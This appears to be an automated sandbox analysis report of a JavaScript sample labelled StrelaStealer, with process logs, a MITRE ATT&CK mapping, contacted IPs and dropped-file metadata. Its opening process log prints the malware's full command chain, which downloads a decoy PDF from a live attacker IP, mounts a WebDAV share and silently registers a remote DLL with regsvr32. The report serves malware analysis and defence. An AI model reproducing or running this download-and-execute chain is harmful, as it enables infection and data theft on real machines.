Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
20891229701394327174.js	7%	Virustotal		Browse
20891229701394327174.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/spacem_	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/6	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/b	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.23	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/spacem_	net.exe, 00000006.00000002.1796428304.000002DF75080000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3006951337.000001D52DC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/6	net.exe, 00000006.00000003.1793889450.000002DF750A2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1796537350.000002DF750A2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1809974133.000001D52DC22000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1793889450.000002DF750A2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1792239095.000002DF750CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1796428304.000002DF75080000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1796537350.000002DF750A2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/b	net.exe, 00000006.00000003.1793889450.000002DF750A2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1796537350.000002DF750A2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1809974133.000001D52DC22000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588618
Start date and time:	2025-01-11 03:13:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	20891229701394327174.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 52.6.155.20, 3.219.243.226, 52.22.41.97, 3.233.129.217, 23.209.209.135, 2.23.242.162, 217.20.57.23, 23.200.0.34, 23.200.0.33, 23.200.0.21, 172.202.163.200, 23.56.162.204, 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:14:36	API Interceptor	26x Sleep call for process: powershell.exe modified
21:14:40	API Interceptor	1x Sleep call for process: net.exe modified
21:14:41	API Interceptor	2x Sleep call for process: svchost.exe modified
21:14:49	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1055116600916029869.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4328285711855619485.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073737595911155
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr0:KooCEYhgYEL0In
MD5:	C59F8599C0A84056DE74D1BF4728E7CF
SHA1:	192BDF6B66FE89FC4749B5166755898935B0CB7C
SHA-256:	26173446F83966EC230180D310E1080684DAFCA0195342E005473826B509547A
SHA-512:	4CF8DAEE6BA3239B2F2F9AF78BB7EED0B60767FFA0F710BE1340B5DB34DAFA096C27ECA89B258C0B4C7127D32D25D2243B5DDE969D75CD06594DCE399E678050
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x62c84f15, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221603041912723
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	4B86277A02CF40171F73272B973E7E0A
SHA1:	44CC05556A166125DCD07996230570FAC523DA25
SHA-256:	32F359153BE2D19B752E870CF15838B073FE63246D05A5895B57A77A0B53EDA9
SHA-512:	1F0EB877C184CBAD50470FA9B7E0DD340B656F3853D374A3DA14626C57410943B5918FBB505711BBDA2C8B9F2F37952469BEA979EB058A9A48A58145A29F5426
Malicious:	false
Preview:	b.O.... .......A.......X\...;...{......................0.!..........{A.,....}E.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.....................................,....}......................,....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07692429862931127
Encrypted:	false
SSDEEP:	3:QaiyYe+z7ajn13a/tcYM2XllollcVO/lnlZMxZNQl:PdzUa53qu2AOewk
MD5:	7C9ADB168F70E68732F433441010C166
SHA1:	55175B50E29A405F48025200485F40E9F7DF4A98
SHA-256:	C6874796908610CBADBA439654DAAE219F9ED3C19932229FA1C0D9E88CE72F12
SHA-512:	F9E3A0C249903158753E72B705CD0C48ADB2F63442DE7300255B7EE8A9EF91E6DAD7ACED51869E419BF602B9FD63CED459D15CBA8F044474CDE0016DEE84FC11
Malicious:	false
Preview:	..7......................................;...{..,....}.......{A..............{A......{A..........{A]....................,....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.116444576080222
Encrypted:	false
SSDEEP:	6:iO4qIkuUsyq2Pwkn2nKuAl9OmbnIFUtSqIkIIC11ZmwsqIkIICjRkwOwkn2nKuAR:7tuUBvYfHAahFUtL611/x6F5JfHAaSJ
MD5:	686AA70BF8FCEB1FC4F2400A95C7EB07
SHA1:	949C84FFBE1E5DF3C04F5590C753671A77919FF3
SHA-256:	0024792DFE29BFDF3FAC53319A3C23FF8BA6774BC374FFB7F8EEF677E171F4C6
SHA-512:	09BF9AFF836ABBD2E49A6EF525275A40B5E5EF0CE6567B6AA923A0B247F12A283C0C360B0E65F4EFF91E1CDFF4FBBA4ABD77AAFD6E5DFE19C5804CE9C70838DE
Malicious:	false
Preview:	2025/01/10-21:14:41.505 14c0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:14:41.507 14c0 Recovering log #3.2025/01/10-21:14:41.507 14c0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.116444576080222
Encrypted:	false
SSDEEP:	6:iO4qIkuUsyq2Pwkn2nKuAl9OmbnIFUtSqIkIIC11ZmwsqIkIICjRkwOwkn2nKuAR:7tuUBvYfHAahFUtL611/x6F5JfHAaSJ
MD5:	686AA70BF8FCEB1FC4F2400A95C7EB07
SHA1:	949C84FFBE1E5DF3C04F5590C753671A77919FF3
SHA-256:	0024792DFE29BFDF3FAC53319A3C23FF8BA6774BC374FFB7F8EEF677E171F4C6
SHA-512:	09BF9AFF836ABBD2E49A6EF525275A40B5E5EF0CE6567B6AA923A0B247F12A283C0C360B0E65F4EFF91E1CDFF4FBBA4ABD77AAFD6E5DFE19C5804CE9C70838DE
Malicious:	false
Preview:	2025/01/10-21:14:41.505 14c0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:14:41.507 14c0 Recovering log #3.2025/01/10-21:14:41.507 14c0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.146639377876291
Encrypted:	false
SSDEEP:	6:iO4qI7pM+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqI+6ZmwsqI+lMVkwOwkn2nKuAl97:7F+vYfHAa8uFUtM/iV5JfHAa8RJ
MD5:	A6DC681A88603D5A2E505C2607EB6EF7
SHA1:	AB7B13D91D55757099092C2F5486CEE4930661A7
SHA-256:	0279077919FCC6914E0DE006A3E4BC66BF2556F41F1DB3E0CB04A07DD17B64A2
SHA-512:	8C3C18E86F6B304F389528450622503ECDD838FA6B28437F6204CE3C49062F07D9F3D9679710FA7F338527E57B57F105DEA838334071AD0D8149A248BF29ACC2
Malicious:	false
Preview:	2025/01/10-21:14:41.678 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:14:41.680 1cac Recovering log #3.2025/01/10-21:14:41.680 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.146639377876291
Encrypted:	false
SSDEEP:	6:iO4qI7pM+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqI+6ZmwsqI+lMVkwOwkn2nKuAl97:7F+vYfHAa8uFUtM/iV5JfHAa8RJ
MD5:	A6DC681A88603D5A2E505C2607EB6EF7
SHA1:	AB7B13D91D55757099092C2F5486CEE4930661A7
SHA-256:	0279077919FCC6914E0DE006A3E4BC66BF2556F41F1DB3E0CB04A07DD17B64A2
SHA-512:	8C3C18E86F6B304F389528450622503ECDD838FA6B28437F6204CE3C49062F07D9F3D9679710FA7F338527E57B57F105DEA838334071AD0D8149A248BF29ACC2
Malicious:	false
Preview:	2025/01/10-21:14:41.678 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:14:41.680 1cac Recovering log #3.2025/01/10-21:14:41.680 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.94819931169364
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqwEsBdOg2H/tcaq3QYiubInP7E4T3y:Y2sRdsfpdMH03QYhbG7nby
MD5:	248DBCF2FBC91929E06A197A9C2EA75E
SHA1:	8910A81CEAF924D4B2172941C6B8E6EEF6213454
SHA-256:	3CF7D90BEA46C19548F5503F59C9C67F5378F9245C14279F8FEFDA8B5BC8A174
SHA-512:	C94B4F1DBDF113DE02F7D9B2CAAE31594729A39480B6B5B32527A76B97930B9ABFE17F71035588EF293916FDC5D0F2B6C2F542F9FA5F7922CE47FCA6020AD947
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121692722443","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141724},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\faec480e-df63-4cd1-ad9f-84a95f95efed.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.94819931169364
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqwEsBdOg2H/tcaq3QYiubInP7E4T3y:Y2sRdsfpdMH03QYhbG7nby
MD5:	248DBCF2FBC91929E06A197A9C2EA75E
SHA1:	8910A81CEAF924D4B2172941C6B8E6EEF6213454
SHA-256:	3CF7D90BEA46C19548F5503F59C9C67F5378F9245C14279F8FEFDA8B5BC8A174
SHA-512:	C94B4F1DBDF113DE02F7D9B2CAAE31594729A39480B6B5B32527A76B97930B9ABFE17F71035588EF293916FDC5D0F2B6C2F542F9FA5F7922CE47FCA6020AD947
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121692722443","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141724},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.260205779806944
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7SpJpS:etJCV4FiN/jTN/2r8Mta02fEhgO73goH
MD5:	D595D27A51C678045B0B79ADCDE992A2
SHA1:	B960BCFC0863E04A674F1C69A1BDDC3EA4746F6D
SHA-256:	28476DBBD791DCEE855431E6244C07F8DBFF63320F4526ADE204E0F7E0DCC1FA
SHA-512:	44F3BC501E889CC0044075CB63E53935AC5E50C83F216AFA7554F831E9D3AC0CB0A3223BFE6A810976512ABE22661A1AEFD45A0F2BCDAA7C6A54355C21466329
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.115552936426131
Encrypted:	false
SSDEEP:	6:iO4qQM+q2Pwkn2nKuAl9OmbzNMxIFUtSqcYmZmwsqcXoGvqMVkwOwkn2nKuAl9Ob:7D+vYfHAa8jFUti/kV5JfHAa84J
MD5:	1AD8558BAEFDD0054B1E513D9675BC8D
SHA1:	EDCD4C98635D458C3869A27766E2773AEC96FEA5
SHA-256:	013D34E8F8913F4E53DE16421638549C84E61DC4230A43CB65190ED02D787969
SHA-512:	DE458966C7938D7EBF4849B5915388C2BF7918582A69A1C0F28B138FD6797DB112DE16C49C408E309CCFDF03FC73CE788158AC06F09E49A7CD061CDCF2D1D142
Malicious:	false
Preview:	2025/01/10-21:14:42.086 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:14:42.115 1cac Recovering log #3.2025/01/10-21:14:42.124 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.115552936426131
Encrypted:	false
SSDEEP:	6:iO4qQM+q2Pwkn2nKuAl9OmbzNMxIFUtSqcYmZmwsqcXoGvqMVkwOwkn2nKuAl9Ob:7D+vYfHAa8jFUti/kV5JfHAa84J
MD5:	1AD8558BAEFDD0054B1E513D9675BC8D
SHA1:	EDCD4C98635D458C3869A27766E2773AEC96FEA5
SHA-256:	013D34E8F8913F4E53DE16421638549C84E61DC4230A43CB65190ED02D787969
SHA-512:	DE458966C7938D7EBF4849B5915388C2BF7918582A69A1C0F28B138FD6797DB112DE16C49C408E309CCFDF03FC73CE788158AC06F09E49A7CD061CDCF2D1D142
Malicious:	false
Preview:	2025/01/10-21:14:42.086 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:14:42.115 1cac Recovering log #3.2025/01/10-21:14:42.124 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4448834804832345
Encrypted:	false
SSDEEP:	384:CeLci5t+iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:TRs3OazzU89UTTgUL
MD5:	316DA5C1A885B06B567669873B0C316C
SHA1:	09AECBF9563BDCC3E40903AFEBD5C36C347D979E
SHA-256:	D5A70D297B7FCA72E9E8FB284BB7F1F25E32508B9BA056681F72658AB8A506E7
SHA-512:	02A002CCF51C0E39B24138EAD4ACE70FC4F7104123530713956FA5C58774CCAB992D6999503A633BB77DCF953C727A2A24057A978397C32C0281585E277304F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

